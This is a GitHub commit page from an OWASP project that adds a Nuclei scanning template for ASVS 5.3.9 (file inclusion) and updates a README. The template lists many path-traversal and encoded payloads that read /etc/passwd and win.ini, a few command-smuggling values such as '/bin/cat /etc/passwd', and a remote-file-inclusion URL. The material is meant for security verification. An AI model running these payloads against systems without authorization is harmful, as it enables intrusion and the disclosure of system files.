Skip to content

Commit 1969bac

Browse files
authored
Merge branch 'dev' into main
Signed-off-by: Hamed Salimian <[email protected]>
2 parents ef78c33 + b528a57 commit 1969bac

File tree

3 files changed

+156
-2
lines changed

3 files changed

+156
-2
lines changed

index.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
layout: col-sidebar
44
title: OWASP ASVS Security Evaluation Templates with Nuclei
5-
tags: asvs-security-evaluation-templates-with-nuclei nuclei nuclei-templates asvs asvs-evaluation PoC-generator vulnerablity
5+
tags: asvs-security-evaluation-templates-with-nuclei nuclei nuclei-templates ASVS asvs-evaluation PoC-generator vulnerablity automation WSTG pentest
66
level: 2
77
type: tool
88
pitch: This project aims to develop nuclei templates for evaluating OWASP Application Security Verification Standard (ASVS) on websites.
@@ -32,3 +32,13 @@ This project aims to develop [Nuclei](https://github.com/projectdiscovery/nucle
3232
[![alt-text](https://img.shields.io/github/license/OWASP/www-project-asvs-security-evaluation-templates-with-nuclei)](https://github.com/OWASP/www-project-asvs-security-evaluation-templates-with-nuclei/blob/main/LICENSE)
3333

3434
This program is free software: You can redistribute it and/or modify it under the terms of the MIT License.
35+
36+
## Contributing
37+
38+
Contributions to this repository are welcome and encouraged. If you have created new Nuclei templates that evaluate additional ASVS requirements or have any idea about current templates, we'd love to hear from you in project Github [Discussions](https://github.com/OWASP/www-project-asvs-security-evaluation-templates-with-nuclei/discussions) or our [Slack channel](https://owasp.slack.com/archives/C052939BZ43).
39+
40+
For detailed information and guidelines about contributing in developing template for ASVS evaluation, please check [CONTRIBUTING.md](https://github.com/OWASP/www-project-asvs-security-evaluation-templates-with-nuclei/blob/main/CONTRIBUTING.md)
41+
42+
#### Core Team
43+
The project current core team are:
44+
- [Hamed Salimain](https://github.com/Snbig) (Project Leader)

templates/9.1.3.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,4 +45,4 @@ ssl:
4545
- type: json
4646
json:
4747
- " .tls_version"
48-
# digest: 4b0a00483046022100ad668aabd5f22ba949265c214a22dd6393fc9d65118f5551704be20c9791b4fa022100a7d26f7b256f003b8db0d8794e22f7e63f051f5674b5ff4ed8a01b6cfa8787e3:236a7c23afe836fbe231d6e037cff444
48+
# digest: 4b0a00483046022100e28690ed9b4e02b2f1b32d3e5fea4266b8aea6d668d35365ed9e94ad9515ae8e022100e25e0fd48313f9be115c8f93bb91dc18ad74ebf1997576b72c99e810ac804570:236a7c23afe836fbe231d6e037cff444

templates/dast/5.3.9.yaml

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
id: ASVS-4-0-3-V5-3-9
2+
3+
info:
4+
name: ASVS 5.3.9 Check
5+
author: AmirHossein Raeisi
6+
severity: high
7+
classification:
8+
cwe-id: CWE-829
9+
reference:
10+
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
11+
- https://snbig.github.io/Vulnerable-Pages/ASVS_5_3_9/
12+
- https://github.com/projectdiscovery/nuclei-templates/tree/main/dast/vulnerabilities/lfi
13+
- https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/
14+
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
15+
tags: asvs,5.3.9
16+
description: |
17+
Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.
18+
metadata:
19+
max-request: 90
20+
21+
http:
22+
- pre-condition:
23+
- type: dsl
24+
dsl:
25+
- 'method == "GET"'
26+
27+
payloads:
28+
LFI-RFI:
29+
# LFI (Linux)
30+
- '/etc/passwd'
31+
- '../etc/passwd'
32+
- '../../etc/passwd'
33+
- '../../../etc/passwd'
34+
- '/../../../../etc/passwd'
35+
- '../../../../../../../../../etc/passwd'
36+
- '../../../../../../../../etc/passwd'
37+
- '../../../../../../../etc/passwd'
38+
- '../../../../../../etc/passwd'
39+
- '../../../../../etc/passwd'
40+
- '../../../../etc/passwd'
41+
- '../../../etc/passwd'
42+
- '../../../etc/passwd%00'
43+
- '../../../../../../../../../../../../etc/passwd%00'
44+
- '../../../../../../../../../../../../etc/passwd'
45+
- '/../../../../../../../../../../etc/passwd^^'
46+
- '/../../../../../../../../../../etc/passwd'
47+
- '/./././././././././././etc/passwd'
48+
- '\..\..\..\..\..\..\..\..\..\..\etc\passwd'
49+
- '..\..\..\..\..\..\..\..\..\..\etc\passwd'
50+
- '/..\../..\../..\../..\../..\../..\../etc/passwd'
51+
- '.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd'
52+
- '\..\..\..\..\..\..\..\..\..\..\etc\passwd%00'
53+
- '..\..\..\..\..\..\..\..\..\..\etc\passwd%00'
54+
- '%252e%252e%252fetc%252fpasswd'
55+
- '%252e%252e%252fetc%252fpasswd%00'
56+
- '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
57+
- '%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00'
58+
- '....//....//etc/passwd'
59+
- '..///////..////..//////etc/passwd'
60+
- '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd'
61+
- '%0a/bin/cat%20/etc/passwd'
62+
- '%00/etc/passwd%00'
63+
- '%00../../../../../../etc/passwd'
64+
- '/../../../../../../../../../../../etc/passwd%00.jpg'
65+
- '/../../../../../../../../../../../etc/passwd%00.html'
66+
- '/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd'
67+
- '/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
68+
- '\\&apos;/bin/cat%20/etc/passwd\\&apos;'
69+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
70+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
71+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
72+
- '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
73+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
74+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
75+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
76+
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
77+
# LFI (Windows)
78+
- '\WINDOWS\win.ini'
79+
- '../../windows/win.ini'
80+
- '....//....//windows/win.ini'
81+
- '../../../../../windows/win.ini'
82+
- '/..///////..////..//////windows/win.ini'
83+
- '/../../../../../../../../../windows/win.ini'
84+
- './../../../../../../../../../../windows/win.ini'
85+
- '..%2f..%2f..%2f..%2fwindows/win.ini'
86+
- '\WINDOWS\win.ini%00'
87+
- '\WINNT\win.ini'
88+
- '\WINNT\win.ini%00'
89+
- 'windows/win.ini%00'
90+
- '/...\...\...\...\...\...\...\...\...\windows\win.ini'
91+
- '/.../.../.../.../.../.../.../.../.../windows/win.ini'
92+
- '/..../..../..../..../..../..../..../..../..../windows/win.ini'
93+
- '/....\....\....\....\....\....\....\....\....\windows\win.ini'
94+
- '\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini'
95+
- '/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini'
96+
- '/../../../../../../../../../../../../../../../../&location=Windows/win.ini'
97+
- '..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
98+
- '..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
99+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
100+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00'
101+
- '..%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini'
102+
- '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
103+
- '/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini'
104+
- '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini'
105+
- '/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini'
106+
- '/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini'
107+
- '/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
108+
- '%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini'
109+
- '%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
110+
- '/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini'
111+
- '/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini'
112+
- '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini'
113+
- '/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
114+
- '%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
115+
- '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
116+
# RFI
117+
- "https://snbig.github.io/Vulnerable-Pages/ASVS_12_3_3/rfi.txt"
118+
fuzzing:
119+
- part: query
120+
type: replace # replaces existing parameter value with fuzz payload
121+
mode: multiple # replaces all parameters value with fuzz payload
122+
fuzz:
123+
- '{{LFI-RFI}}'
124+
125+
stop-at-first-match: true
126+
matchers:
127+
- type: word
128+
part: body
129+
words:
130+
- "bit app support"
131+
- "fonts"
132+
- "extensions"
133+
condition: and
134+
135+
- type: regex
136+
part: body
137+
regex:
138+
- 'root:.*:0:0:'
139+
140+
- type: word
141+
part: body
142+
words:
143+
- "d5b82f27-b7a4-4c3e-8b6e-88fd9e97b16a"
144+
# digest: 4b0a00483046022100b3629f17d8650d25acbacc2d85fae5ad2c1cecf14c89bb28701ce2c7011ffe05022100a6db4746322beb7989b39c1b04fb416b31f02ac55a9690507e46a62ae93f2ac5:236a7c23afe836fbe231d6e037cff444

0 commit comments

Comments
 (0)